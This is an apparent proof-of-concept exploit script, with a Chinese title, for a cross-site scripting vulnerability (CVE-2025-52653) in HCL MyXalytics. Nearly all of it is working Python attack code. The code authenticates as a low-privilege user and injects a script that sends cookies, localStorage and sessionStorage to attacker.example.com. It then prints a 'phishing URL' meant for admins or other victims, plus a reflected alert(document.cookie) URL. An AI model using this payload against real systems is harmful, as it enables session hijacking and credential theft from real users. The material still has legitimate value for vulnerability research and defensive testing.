CVE-2025-52653：HCL MyXalytics 跨站脚本漏洞

# CVE-2025-52653 - HCL MyXalytics XSS PoC # Vulnerability: Reflected/Stored Cross-Site Scripting in HCL MyXalytics # CVSS: 7.6 (HIGH) import requests TARGET_URL = "https://target-myxalytics.example.com" LOGIN_URL = f"{TARGET_URL}/api/auth/login" INJECTION_ENDPOINT = f"{TARGET_URL}/api/search" # Example endpoint, replace with actual vulnerable endpoint # Step 1: Authenticate with low-privilege credentials (PR:L) session = requests.Session() credentials = { "username": "attacker_user", "password": "attacker_password" } session.post(LOGIN_URL, json=credentials) # Step 2: Craft malicious XSS payload # The payload attempts to steal session cookies and exfiltrate to attacker server xss_payload = """ <script> fetch('https://attacker.example.com/steal', { method: 'POST', mode: 'no-cors', body: JSON.stringify({ cookies: document.cookie, url: window.location.href, localStorage: JSON.stringify(localStorage), sessionStorage: JSON.stringify(sessionStorage) }) }); </script> """ # Step 3: Inject payload into vulnerable parameter # The injection point could be a search field, comment, profile field, etc. injection_params = { "q": xss_payload, # 'q' is example parameter name "filter": "all", "page": "1" } response = session.get(INJECTION_ENDPOINT, params=injection_params) # Step 4: Verify injection success if xss_payload in response.text: print("[+] XSS payload successfully injected into the response") print("[+] When an admin or other user visits this URL, the script will execute") # Craft a phishing URL to send to the victim phishing_url = response.url print(f"[+] Phishing URL: {phishing_url}") else: print("[-] Injection may have failed or payload is filtered") # Alternative: Direct URL-based reflected XSS payload direct_xss_url = f"{INJECTION_ENDPOINT}?q=<script>alert(document.cookie)</script>" print(f"\n[+] Direct reflected XSS URL: {direct_xss_url}")